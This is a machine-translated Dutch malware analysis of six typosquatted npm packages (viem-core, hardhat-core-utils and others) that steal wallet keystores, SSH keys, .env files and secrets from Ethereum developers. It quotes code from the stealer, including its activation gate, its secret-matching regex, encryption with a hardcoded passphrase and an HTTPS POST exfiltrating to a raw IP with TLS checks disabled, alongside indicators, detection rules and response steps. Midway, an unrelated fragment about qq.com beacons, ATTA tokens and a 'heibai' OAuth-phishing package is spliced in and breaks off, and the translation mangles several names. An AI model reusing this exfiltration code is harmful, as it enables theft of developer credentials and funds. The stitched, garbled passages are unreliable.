TL; DR
Op 6 mei 2026 zal één enkele npm-publisher, namikazesarada010206heeft zes kwaadaardige pakketten verspreid die gericht waren op het ecosysteem van Ethereum-, Solidity- en DeFi-ontwikkelaars.
De pakketten, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsen web3-utils-coreEr werden plausibele namen gebruikt die de indruk wekten van hulpbibliotheken voor populaire Web3-tools.
Alle zes pakketten bevatten hetzelfde. telemetry.js bestand. Het bestand was byte-identiek in het hele cluster, met SHA-256:
De malware wordt niet uitgevoerd tijdens de installatie. Er is geen preinstall or postinstall haak. In plaats daarvan wordt deze geactiveerd wanneer het pakket wordt geïmporteerd via require().
Dat detail is belangrijk.
Het implantaat wacht totdat een ontwikkelaar het pakket daadwerkelijk gebruikt. Dan controleert het of het werkstation eruitziet als een echte Ethereum/Solidity-ontwikkelomgeving. Het zoekt naar Alchemy- of Infura-sleutels, privésleutels, mnemonics, deployer-sleutels of een lokale Foundry-directory.
Als de host overeenkomt, verzamelt de dief SSH-privésleutels en keystores van Foundry/Geth/Brownie-wallets. .env* bestanden en gevoelige omgevingsvariabelen. Het versleutelt het pakket met AES-256-GCM met behulp van een vastgelegd wachtwoord en stuurt het door naar een onbewerkt IPv4 C2-eindpunt waar TLS-verificatie is uitgeschakeld.
Het Malware Early Warning (MEW)-systeem van Xygeni bevestigde dat alle zes pakketten schadelijk waren. Het rapport over de verwijdering uit het npm-register is nog in behandeling.
Het cluster: zes pakketten, één uitgever
Het uitgeversaccount namikazesarada010206 was gekoppeld aan het niet-geverifieerde Gmail-adres. namikazesarada010206@gmail.com.
De campagne verscheen als een eenmalige publicatie op 6 mei 2026. Alle zes pakketten werden in verschillende versies aangeboden. 1.0.0had geen runtime-afhankelijkheden en bevatte slechts drie bestanden:
package.json
index.js
telemetry.js
Ze hebben ook dezelfde bronrepository opgegeven:
https://github.com/harunosakura030303-maker/evmchain-config
De eerste drie pakketten werden door MEW-scanners gedetecteerd bij de eerste publicatie. De overige drie werden als verdacht aangemerkt na beoordeling van het npm-profiel van de uitgever door een analist. Zodra hetzelfde byte-identieke pakket werd gevonden... telemetry.js Nadat dit binnen het hele cluster was bevestigd, werden ze op basis van consistentie als kwaadaardig afgesloten.
| Pakket | Versie | npm gepubliceerd | MEW-ticket | Vonnis |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Kwaadaardig |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Kwaadaardig |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | #51051 | Kwaadaardig |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Kwaadaardig, door consistentie |
| gieterij-hulpprogramma's | 1.0.0 | 2026-05-06 | #51071 | Kwaadaardig, door consistentie |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Kwaadaardig, door consistentie |
De naamgevingsstrategie is eenvoudig maar effectief.
Deze pakketten imiteren niet exact de namen van de originele programma's. In plaats daarvan gebruiken ze plausibele "hulpprogramma"-achtervoegsels zoals -core, -utilsen -utils-coreDaardoor lijken ze op aanvullende bibliotheken die een ontwikkelaar wellicht zou verwachten in de buurt van Web3-tools.
| Kwaadaardig pakket | Legitiem doelwit |
|---|---|
| viem-core | viem, een populaire Ethereum TypeScript-client |
| viem-utils-core | wij zien |
| hardhat-core-utils | hardhat, een gangbare Solidity-ontwikkelomgeving |
| evm-utils | Generieke EVM-toolingnaamruimte |
| gieterij-hulpprogramma's | Foundry, een Solidity-toolchain |
| web3-utils-core | web3-utils, Web3.js-helpers |
Dit is het patroon van het "aanvullende pakket": niet "Ik bén het eigenlijke pakket", maar "Ik lijk een redelijke helper te zijn rondom het eigenlijke pakket."
Voor DeFi-ontwikkelaars is het snel handelen al voldoende om risico's te creëren.
Wat gebeurt er als het pakket wordt geïmporteerd?
De aanvalsketen is klein, weloverwogen en gericht op crypto-ontwikkelomgevingen.
Er is geen installatiehulpmiddel. In plaats daarvan bevat elk pakket een index.js die stubfunctionaliteit exporteert en vervolgens de kwaadaardige telemetriemodule laadt.
require('./telemetry').init();
Dit betekent dat de malware bij de eerste import wordt geactiveerd.
Dat is operationeel nuttig voor de aanvaller. Veel scanners en sandboxes richten zich op het gedrag tijdens de installatie. Dit pakket wacht tot het daadwerkelijk wordt gebruikt door een ontwikkelaar, een buildscript, een testsuite of een runtimepad.
Activeringspoort: Alleen activeren op echte Web3-ontwikkelaarswerkstations
Het belangrijkste onderdeel van het implantaat is de activeringspoort.
De malware controleert omgevingsvariabelen die vaak voorkomen op Ethereum/Solidity-ontwikkelmachines:
const indicators = [
process.env.ALCHEMY_API_KEY,
process.env.INFURA_KEY,
process.env.PRIVATE_KEY,
process.env.MNEMONIC,
process.env.DEPLOYER_KEY,
].filter(Boolean);
Het controleert ook of Foundry geïnstalleerd lijkt te zijn:
fs.existsSync(path.join(os.homedir(), '.foundry'))
Als geen van beide voorwaarden waar is, retourneert de functie een waarde en doet niets.
Dat maakt het pakket stiller in algemene analyseomgevingen. Een sandbox zonder Foundry, Alchemy-sleutels, Infura-sleutels, privésleutels of mnemonics kan een ogenschijnlijk onschadelijke import detecteren.
Op een overeenkomende host wacht de malware 60 tot 90 seconden voordat de gegevens worden verzameld:
setTimeout(() => { try { _collect(); } catch {} },
60000 + Math.random() * 30000).unref();
De vertraging vermindert de duidelijke correlatie tussen import en exfiltratie. .unref() Deze functie zorgt er ook voor dat het hostproces normaal kan worden afgesloten als het pakket is geïmporteerd in een script met een korte looptijd.
Dit is geen luidruchtig, rofzuchtig gedrag. Het is een gerichte diefstal die is ontworpen om alleen te worden uitgevoerd als de ontwikkelomgeving de moeite waard is om te stelen.
Wat de dief verzamelt
Zodra de activeringspoort is gepasseerd, verzamelt de malware gegevens uit bronnen die het belangrijkst zijn voor Web3-ontwikkeling: privésleutels, keystores van wallets, implementatiegegevens, cloudgeheimen, npm-tokens en lokale projectconfiguratie.
| Bron | Wat wordt er verzameld? |
|---|---|
| proces.env | Elke variabele die overeenkomt met /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Bestanden die PRIVATE KEY of BEGIN OPENSSH bevatten, inclusief de volledige bestandsinhoud. |
| ~/.foundry/keystores/* | Foundry wallet keystore-bestanden |
| ~/.ethereum/keystore/* | Geth wallet keystore-bestanden |
| ~/.brownie/accounts/* | Brownie wallet keystore bestanden |
| ${cwd}/.env | Volledige bestandsinhoud |
| ${cwd}/.env.local | Volledige bestandsinhoud |
| ${cwd}/.env.production | Volledige bestandsinhoud |
| ${cwd}/.env.development | Volledige bestandsinhoud |
| os.hostname() | Hostmetadata |
| crypto.randomUUID() | Slachtoffer-/sessie-identificatie |
| Datum.nu() | Tijdstempel van de verzameling |
otheve.beacon.qq.com
oth.str.beacon.qq.com
h.trace.qq.com
De ATTA-tokens zijn:
ATTA_ID 00400014144
ATTA_TOKEN 6478159937
We hebben niet kunnen bevestigen of de telemetriegegevens afkomstig waren van de eigen analyses van de operator of van een apart, gemonetiseerd kanaal. De ATTA-tokens zijn in beide onderzochte samples hetzelfde.
Cluster B: heibai
claude.hk OAuth-phishing + ANTHROPIC_BASE_URL-kaping
Het monster van 1 april vertegenwoordigt de grovere, eerdere fase van de campagne.
heibai:2.1.88-claude.hk-4 werd gepubliceerd door wuguoqiangvip28een account aangemaakt op 7 juni 2025. Het pakket heeft zichzelf expliciet geversioniseerd ten opzichte van de legitieme versie. 2.1.88 Antropogene vrijlating.
Het maakt geen gebruik van CA-cert MITM. In plaats daarvan misleidt het de gebruiker over het OAuth-eindpunt.
De kwaadwillige toevoegingen bovenop de gelekte broncode van Claude Code omvatten:
| Bron | Wat wordt er verzameld? |
|---|---|
| proces.env | Elke variabele die overeenkomt met /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Bestanden die PRIVATE KEY of BEGIN OPENSSH bevatten, inclusief de volledige bestandsinhoud. |
| ~/.foundry/keystores/* | Foundry wallet keystore-bestanden |
| ~/.ethereum/keystore/* | Geth wallet keystore-bestanden |
| ~/.brownie/accounts/* | Brownie wallet keystore bestanden |
| ${cwd}/.env | Volledige bestandsinhoud |
| ${cwd}/.env.local | Volledige bestandsinhoud |
| ${cwd}/.env.production | Volledige bestandsinhoud |
| ${cwd}/.env.development | Volledige bestandsinhoud |
| os.hostname() | Hostmetadata |
| crypto.randomUUID() | Slachtoffer-/sessie-identificatie |
| Datum.nu() | Tijdstempel van de verzameling |
De doelwitlijst is zeer specifiek. Dit is geen algemene browserdiefstal of het massaal verzamelen van inloggegevens. Het is gericht op ontwikkelaars die Ethereum-applicaties bouwen, testen, implementeren of beheren.
De aanwezigheid van Foundry-, Geth- en Brownie-keystores is bijzonder belangrijk. Deze bestanden kunnen directe toegang bieden tot wallets of implementatie-identiteiten. Als een aanvaller ze kan koppelen aan wachtwoorden, mnemonics of omgevingsgeheimen, kan hij mogelijk geld overmaken, zich voordoen als implementeerders of de werking van smart contracts compromitteren.
Versleuteling vóór datalekken
De malware versleutelt de verzamelde gegevens voordat ze worden verzonden.
const key = crypto.createHash('sha256').update(K).digest();
const iv = crypto.randomBytes(12);
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);
Het vastgelegde wachtwoord is:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d
De uiteindelijke gegevens worden als JSON verpakt:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}
Versleuteling maakt malware op zich niet geavanceerder. Het maakt netwerkinspectie echter wel moeilijker. Een beveiliger die uitgaand verkeer monitort, zou een JSON-payload zien, maar niet de gestolen sleutels, walletbestanden of andere gegevens. .env Inhoud zonder de vastgelegde wachtzin en decryptielogica.
Exfiltratie naar een onbewerkte IPv4 C2-server
Het exfiltratiepad is vastgelegd in de code:
const req = https.request({
hostname: '76.13.37.80', port: 8443,
path: '/api/v1/telemetry', method: 'POST',
headers: { 'Content-Type': 'application/json', ... },
rejectUnauthorized: false, timeout: 8000,
}, () => {});
De malware verstuurt gegevens naar:
https://76.13.37.80:8443/api/v1/telemetry
Twee details vallen op.
Ten eerste is de C2 een gewoon IPv4-adres in plaats van een domein. Daardoor is domeinregistratie niet nodig en worden bepaalde domein-gebaseerde detecties voorkomen.
Ten tweede wordt TLS-verificatie uitgeschakeld met:
rejectUnauthorized: false
Hierdoor kan de malware elk certificaat accepteren, inclusief zelfondertekende certificaten. Met andere woorden, de aanvaller krijgt versleuteld transport zonder een geldig openbaar certificaat nodig te hebben.
Er is geen logica voor het opnieuw proberen en geen alternatieve host. Fouten worden stilzwijgend genegeerd. Hierdoor blijft het pakket stil als de C2 offline of onbereikbaar is.
Waarom deze campagne belangrijk is
De meeste kwaadaardige npm-pakketten die op ontwikkelaars gericht zijn, proberen brede inloggegevens te bemachtigen: npm-tokens, AWS-sleutels, GitHub-tokens, of .npmrc bestanden.
Deze campagne verkleint de doelgroep.
Het zoekt naar aanwijzingen dat de machine toebehoort aan een Ethereum- of Solidity-ontwikkelaar. Vervolgens haalt het precies de gegevens op die in die omgeving van belang zijn: wallet-keystores, privésleutels, mnemonics, deployer-sleutels, .env bestanden en SSH-sleutels.
Dat maakt de campagne gevaarlijker voor Web3-teams dan een generieke npm-stealer.
Een succesvolle infectie kan het volgende aan het licht brengen:
- Implementatieportefeuilles
- Smart contract beheerderssleutels
- RPC-providersleutels
- Cloud-implementatie-referenties
- npm publicatietokens
- SSH-toegang tot de ontwikkelaars- of bouwinfrastructuur
- Projectgeheimen opgeslagen in
.envbestanden - Wallet-sleutelopslag voor Foundry, Geth of Brownie
De pakketnamen verraden ook duidelijk de sociale manipulatie. Ze richten zich op het ecosysteem van Web3-ontwikkelaars door gebruik te maken van bekende toolnamen: viem, hardhat, foundry, evmen web3.
De acteur hoeft de echte projecten niet in gevaar te brengen. Ze hebben alleen een ontwikkelaar nodig die een redelijk ogend aanvullend pakket installeert.
Indicatoren van inbreuk en detectie
| Pakketten en uitgever | |
|---|---|
| Veld | Waarde |
| npm-uitgever | namikazesarada010206 |
| E-mailadres van de uitgever | namikazesarada010206@gmail.com |
| email geverifieerd | Nee |
| SCM geverifieerd | Nee |
| Reputatiescore | 1.0 |
| Formules | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, gieterij-utils, web3-utils-core |
| versies | Alle 1.0.0 |
| Bronrepository | https://github.com/harunosakura030303-maker/evmchain-config |
| Bevestigd kwaadaardig | Alle zes pakketten |
| Netwerk | |
|---|---|
| Type | Waarde |
| C2-eindpunt | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2-poort | 8443 / tcp |
| TLS-gedrag | afwijzenOngeautoriseerd: onjuist |
| Payload-schema | {"v":2,"iv": ,"D": ,"T": } |
| Bestanden en hashes | |
|---|---|
| Type | Waarde |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Verpakkingsindeling | package.json, index.js, telemetry.js |
| Aantal bestanden | 3 |
| Geschatte totale afmetingen | 3.4 KB |
Activeringssignalen
De malware controleert de volgende omgevingsvariabelen:
ALCHEMY_API_KEY
INFURA_KEY
PRIVATE_KEY
MNEMONIC
DEPLOYER_KEY
Het controleert ook op:
~/.foundry/
Gerichte hostpaden
~/.ssh/*
~/.foundry/keystores/*
~/.ethereum/keystore/*
~/.brownie/accounts/*
${cwd}/.env
${cwd}/.env.local
${cwd}/.env.production
${cwd}/.env.development
Collectie Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
Detectie-aantekeningen
Verschillende regels kunnen deze campagne detecteren zonder dat een volledige gedragsanalyse nodig is.
Scan eerst de lockfiles op de zes namen van de kwaadaardige pakketten:
viem-core
viem-utils-core
hardhat-core-utils
evm-utils
foundry-utils
web3-utils-core
Elke wedstrijd in package-lock.json, yarn.lock, pnpm-lock.yamlof node_modules Geschiedenis moet als een ernstig incident worden beschouwd.
Ten tweede, controleer of Node.js-processen de paden naar de wallet-keystore lezen:
~/.foundry/keystores/
~/.ethereum/keystore/
~/.brownie/accounts/
Dit is zelden legitiem gedrag voor een pakket dat als hulpafhankelijkheid is geïmporteerd. Het is vooral verdacht wanneer dit wordt gevolgd door uitgaande netwerkactiviteit.
Ten derde, blokkeer of waarschuw voor HTTPS-verbindingen naar:
76.13.37.80:8443
Vooral wanneer het aanvraagpad is:
/api/v1/telemetry
Ten vierde, zoek naar npm-pakketten die deze eigenschappen combineren:
- Nieuwe of uitgever met een lage reputatie
- Niet-geverifieerd Gmail-account
- Pakketnaam die verwant is aan Web3
- Geen betekenisvolle repositorygeschiedenis
- Compacte verpakking
index.jsdat een telemetrie- of hulpbestand laadt- Geen runtime-afhankelijkheden
- Gevoelige verzameling van omgevingsvariabelen
- Toegang tot de sleutelkluis van de portemonnee
Dit patroon is nuttiger dan een enkele IOC, omdat het volgende pakket het IP-adres kan wijzigen, maar dezelfde targetinglogica kan behouden.
Checklist voor reactie op een compromis
Als een ontwikkelaar een van de zes pakketten heeft gebruikt en zijn omgeving overeenkwam met de activeringsdrempel, beschouw het werkstation dan als gecompromitteerd.
Dat omvat machines waarop Foundry is geïnstalleerd, Alchemy- of Infura-sleutels in de omgeving, privésleutels, mnemonics of deployer-sleutels.
Aanbevolen antwoord:
- Ontkoppel de host van het netwerk.
- Behouden
node_modules, lockfiles, shellgeschiedenis en relevante logbestanden voor forensisch onderzoek. - Wissel elk SSH-sleutelpaar regelmatig.
~/.ssh/. - Wissel de wallet-sleutels voor elke sleutelkluis onder
~/.foundry,~/.ethereumen~/.brownie. - Verplaats geld naar nieuwe wallets.
- Draai elk geheim dat is opgeslagen in
.env*bestanden in repositories waaraan de ontwikkelaar heeft gewerkt. - Wissel omgevingsgeheimen die overeenkomen met de reguliere expressie van de verzameling, waaronder AWS-sleutels, npm-tokens, implementatietokens, API-sleutels, privésleutels, seeds en mnemonics.
- Controleer de activiteit in de cloud, npm, GitHub, RPC-provider en blockchain sinds de eerste installatie van het pakket.
- Installeer de image opnieuw op het werkstation voordat u het opnieuw gebruikt.
Wat verdedigers hiervan moeten leren.
Deze campagne laat zien hoe npm-typosquatting zich ontwikkelt rondom waardevolle ontwikkelaars-ecosystemen.
De actor had geen persistentie nodig. Ze hadden geen verhulling nodig. Ze hadden zelfs geen uitvoering tijdens de installatie nodig.
In plaats daarvan vertrouwden ze op drie dingen:
- Mogelijke pakketnamen voor Web3
- Activering alleen mogelijk op echte crypto-ontwikkelmachines.
- Directe diefstal van de bestanden en geheimen die het belangrijkst zijn voor Ethereum-ontwikkelaars.
Daardoor is de campagne bij een algemene scan gemakkelijk over het hoofd te zien en gevaarlijk wanneer ze in de juiste omgeving terechtkomt.
Voor Web3-teams is de les duidelijk: beschouw namen van afhankelijkheden als onderdeel van je dreigingsmodel. Een pakket dat eruitziet als een onschuldig hulpprogramma kan nog steeds de snelste weg naar een cryptovaluta-compromis vormen.
Gemeld bij het npm-register. We zullen dit bericht bijwerken zodra het uitgeversaccount en de pakketten zijn verwijderd.




